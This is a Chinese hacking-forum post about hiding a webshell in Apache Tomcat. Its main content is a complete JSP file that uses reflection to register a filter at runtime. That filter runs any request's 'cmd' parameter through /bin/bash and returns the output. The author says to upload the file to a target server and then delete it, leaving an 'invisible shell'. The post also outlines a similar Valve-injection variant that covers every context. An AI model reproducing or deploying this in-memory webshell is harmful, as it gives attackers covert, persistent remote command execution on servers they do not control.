搜索
查看: 839|回复: 0

Tomcat 源代码调试笔记 - 看不见的 Shell

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-6-24 21:38:40 | 显示全部楼层 |阅读模式
抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程,找到了两个较为容易实现的方法(肯定还有其它的方法),这里记录一其中一个。另一个也很类似所以只记录一下思路。

1. 运行时动态插入过滤器

过滤器的基础概念以及作用这里不写了。
Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:
FilterRegistration.Dynamic addFilter(String filterName,String className)

FilterRegistration.Dynamic addFilter(String filterName,Filter filter)

FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)

这三个方法使得我们可以在运行时动态地添加过滤器。
Tomcat 对 ServletContext 接口的实现类为:org.apache.catalina.core.ApplicationContextFacade

但是并没有简单到直接调用一下这可以实现,因为 Tomcat 在对这个接口的实现中,是只允许在容器还没有初始化完成的时候调用这几个方法。一旦容器初始化已经结束,调用时就会出现异常:

我看了一下这个 if 之后的语句,并不是太复杂,这使得我们完全可以自己用代码来执行后面的逻辑。写的过程也没有太顺利,我完全复制了后面的逻辑,但是动态插入过滤器却没有生效。所以去重新调试了一遍tomcat 接收处理请求的全过程,发现为请求组装filterChain 是在StandardWrapperValve 里面进行的:

真正的组装方法位于:
org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
代码太长不截图了,有兴趣的可以自己去看。

组装完成后开始调用过滤器链。

我将org.apache.catalina.core.ApplicationFilterFactory#createFilterChain方法内的细节与自己写的插入过滤器的细节做了对比,得出下面这个可以在Tomcat 8 (Tomcat 7 上的话需要小改一下)下实现我想要的目的 Jsp文件。直接看代码吧:
  1. <%@ page language="java" contentType="text/html; charset=UTF-8"
  2.     pageEncoding="UTF-8"%>
  3. <%@ page import="java.io.IOException"%>
  4. <%@ page import="javax.servlet.DispatcherType"%>
  5. <%@ page import="javax.servlet.Filter"%>
  6. <%@ page import="javax.servlet.FilterChain"%>
  7. <%@ page import="javax.servlet.FilterConfig"%>
  8. <%@ page import="javax.servlet.FilterRegistration"%>
  9. <%@ page import="javax.servlet.ServletContext"%>
  10. <%@ page import="javax.servlet.ServletException"%>
  11. <%@ page import="javax.servlet.ServletRequest"%>
  12. <%@ page import="javax.servlet.ServletResponse"%>
  13. <%@ page import="javax.servlet.annotation.WebServlet"%>
  14. <%@ page import="javax.servlet.http.HttpServlet"%>
  15. <%@ page import="javax.servlet.http.HttpServletRequest"%>
  16. <%@ page import="javax.servlet.http.HttpServletResponse"%>
  17. <%@ page import="org.apache.catalina.core.ApplicationContext"%>
  18. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
  19. <%@ page import="org.apache.catalina.core.StandardContext"%>
  20. <%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
  21. <%@ page import="org.apache.catalina.Context"%>
  22. <%@ page import="java.lang.reflect.*"%>
  23. <%@ page import="java.util.EnumSet"%>
  24. <%@ page import="java.util.Map"%>


  25. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  26. <html>
  27. <head>
  28. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  29. <title>Insert title here</title>
  30. </head>
  31. <body>
  32. <%
  33. final String name = "n1ntyfilter";

  34. ServletContext ctx = request.getSession().getServletContext();
  35. Field f = ctx.getClass().getDeclaredField("context");
  36. f.setAccessible(true);
  37. ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

  38. f = appCtx.getClass().getDeclaredField("context");
  39. f.setAccessible(true);
  40. StandardContext standardCtx = (StandardContext)f.get(appCtx);


  41. f = standardCtx.getClass().getDeclaredField("filterConfigs");
  42. f.setAccessible(true);
  43. Map filterConfigs = (Map)f.get(standardCtx);

  44. if (filterConfigs.get(name) == null) {
  45.    out.println("inject "+ name);
  46.    
  47.    Filter filter = new Filter() {
  48.       @Override
  49.       public void init(FilterConfig arg0) throws ServletException {
  50.          // TODO Auto-generated method stub
  51.       }
  52.       
  53.       @Override
  54.       public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
  55.             throws IOException, ServletException {
  56.          // TODO Auto-generated method stub
  57.          HttpServletRequest req = (HttpServletRequest)arg0;
  58.          if (req.getParameter("cmd") != null) {
  59.             byte[] data = new byte[1024];
  60.             Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
  61.             int len = p.getInputStream().read(data);
  62.             p.destroy();
  63.             arg1.getWriter().write(new String(data, 0, len));
  64.             return;
  65.          }
  66.          arg2.doFilter(arg0, arg1);
  67.       }
  68.       
  69.       @Override
  70.       public void destroy() {
  71.          // TODO Auto-generated method stub
  72.       }
  73.    };
  74.    
  75.    FilterDef filterDef = new FilterDef();
  76.     filterDef.setFilterName(name);
  77.     filterDef.setFilterClass(filter.getClass().getName());
  78.     filterDef.setFilter(filter);
  79.    
  80.     standardCtx.addFilterDef(filterDef);
  81.    
  82.    FilterMap m = new FilterMap();
  83.    m.setFilterName(filterDef.getFilterName());
  84.    m.setDispatcher(DispatcherType.REQUEST.name());
  85.    m.addURLPattern("/*");
  86.    
  87.    
  88.    standardCtx.addFilterMapBefore(m);
  89.    
  90.    
  91.    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
  92.    constructor.setAccessible(true);
  93.    FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
  94.    
  95.    
  96.     filterConfigs.put(name, filterConfig);
  97.    
  98.     out.println("injected");
  99. }
  100. %>
  101. </body>
  102. </html>
复制代码
将以上 JSP 文件上传至目标服务器命名为 n1ntyfilter.jsp,访问后如果看到“injected” 字样,说明我们的过滤器已经插入成功,随后可以将此 jsp 文件删掉。随后,任何带有 cmd 参数的请求都会被此过滤器拦下来,并执行 shell 命令,达到“看不见的 shell”的效果。

2. 动态插入 Valve
Valve 是 Tomcat 中的用于对Container 组件(Engine/Host/Context/Wrapper)进行扩展一种机制。通常是多个Valve组装在一起放在Pipeline 里面。Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的。如果你熟悉 Struts2 中的拦截器机制,那么你会很容易理解valve + pipeline 的动作方式。Pipeline 就相当于拦截器链,而valve就相当于拦截器。

Valve 接口定义了如下的 invoke 方法:
  1. publicvoid invoke(Request request, Response response)
  2.     throws IOException, ServletException;
复制代码
我们只需在运行时向 Engine/Host/Context/Wrapper  这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve,在其中对相应的请求进行拦截并执行我们想要的功能,就可以达到与上面Filter 的方式一样的效果。而且 filter 只对当前context 生效,而valve 如果插到最顶层的container 也就是 Engine,则会对 Engine 下的所有的context 生效。

以上两种方式,利用的时候都必须是通过 HTTP 的方式去真正地发起一个请求,因为在这些流程之前,Tomcat会检查接收自socket的前几个字节是不是符合HTTP 协议的要求,虽然被请求的文件可以不存在。如果想利用非HTTP 协议,则需要在tomcat 的Connector 上做手脚,这个复杂度就比以上两种方式要高很多了。

以上两种方式都会在 Tomcat 重启后失效。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表